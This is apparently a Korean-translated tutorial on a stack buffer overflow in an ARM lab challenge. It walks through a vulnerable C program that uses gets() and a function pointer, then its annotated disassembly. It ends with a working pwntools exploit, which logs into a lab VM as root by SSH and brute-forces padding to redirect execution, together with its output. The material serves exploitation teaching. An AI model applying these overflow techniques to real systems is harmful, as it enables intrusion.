해킹 제어 흐름 – ARM sBOF
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
puts("congrats\n");
}
int main()
{
volatile int (*fp)() = NULL;
char buffer[64];
gets(buffer);
if (fp)
{
printf("jump to 0x%08x\n", fp);
fp();
}
}
이 두 함수의 어셈블리를 읽어 보겠습니다.
승리 기능:
00000564 <win>:
prolog:
564: b580 push {r7, lr}
566: af00 add r7, sp, #0
good_boy:
568: 4b03 ldr r3, [pc, #12] ; (578 <win+0x14>)
56a: 447b add r3, pc
56c: 4618 mov r0, r3
56e: f7ff ef5a blx 424 <puts@plt>
572: bf00 nop
epilog:
574: bd80 pop {r7, pc}
576: bf00 nop
string_pool:
578: 00000096
이 함수는 단순히 메시지를 인쇄합니다. 주소는 0x0564이고
nop
형식의 패딩이 있습니다.주요 기능:
0000057c <main>:
prolog:
57c: b580 push {r7, lr}
57e: b092 sub sp, #72 ; 0x48
580: af00 add r7, sp, #0
582: 2300 movs r3, #0
584: 647b str r3, [r7, #68] ; fp = NULL
586: 1d3b adds r3, r7, #4
588: 4618 mov r0, r3 ; r0 = buffer
58a: f7ff ef46 blx 418 <gets@plt> ; gets(buffer);
58e: 6c7b ldr r3, [r7, #68] ; r3 = fp
590: 2b00 cmp r3, #0 ; fp == NULL?
592: d007 beq.n 5a4 <main+0x28>
594: 6c79 ldr r1, [r7, #68] ; l1 = fp
596: 4b06 ldr r3, [pc, #24] ; (5b0 <main+0x34>)
598: 447b add r3, pc
59a: 4618 mov r0, r3 ; r0 = fmt
59c: f7ff ef36 blx 40c <printf@plt> ; printf("jump to 0x%08\n", fp);
5a0: 6c7b ldr r3, [r7, #68] ; r3 = fp
5a2: 4798 blx r3 ; jump to fp
exit_success:
5a4: 2300 movs r3, #0
5a6: 4618 mov r0, r3
epilog:
5a8: 3748 adds r7, #72 ; 0x48
5aa: 46bd mov sp, r7
5ac: bd80 pop {r7, pc}
5ae: bf00 nop
5b0: 00000074 andeq r0, r0, r4, ror r0
buffer
오버플로는 사용자가 임의의 위치로 이동할 수 있도록 함수 포인터를 덮어씁니다.다음은 우리가 사용할 수 있는 익스플로잇입니다. 페이로드에는 버퍼를 채우기에 충분한 양의 A와
win
의 주소가 포함되어 있으므로 fp
변수를 적절하게 덮어씁니다.#!/usr/bin/env python3
import struct
from pwn import *
socket = ssh(host='192.168.0.1', user='root', password='')
i = 60
while True:
i += 1
print('test', i)
payload = b'A' * i + struct.pack('<I', 0x00010435)
process = socket.process('/root/protostarm/stack3/stack3')
process.sendline(payload)
res = ""
while True:
try:
res += process.recv().decode()
except:
break
print(res)
if 'congrats' in res:
break
process.close()
socket.close()
user@Azeria-Lab-VM:~/protoarm/stack3$ ./exploit.py
[+] Connecting to 192.168.0.1 on port 22: Done
[*] [email protected]:
Distro Debian testing
OS: linux
Arch: arm
Version: 4.9.0
ASLR: Enabled
test 61
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1565
[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1565)
test 62
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1569
jump to 0x00000001
[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1569)
test 63
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1573
jump to 0x00000104
[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1573)
test 64
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1577
jump to 0x00010435
congrats
[*] Closed connection to '192.168.0.1'
축하해요! 다음으로
fp
없이 제어 흐름을 수정할 수 있지만 pc
레지스터를 직접 사용하는 방법을 알아보겠습니다.
Reference
이 문제에 관하여(해킹 제어 흐름 – ARM sBOF), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/hextrace/hack-control-flow-arm-sbof-546f텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)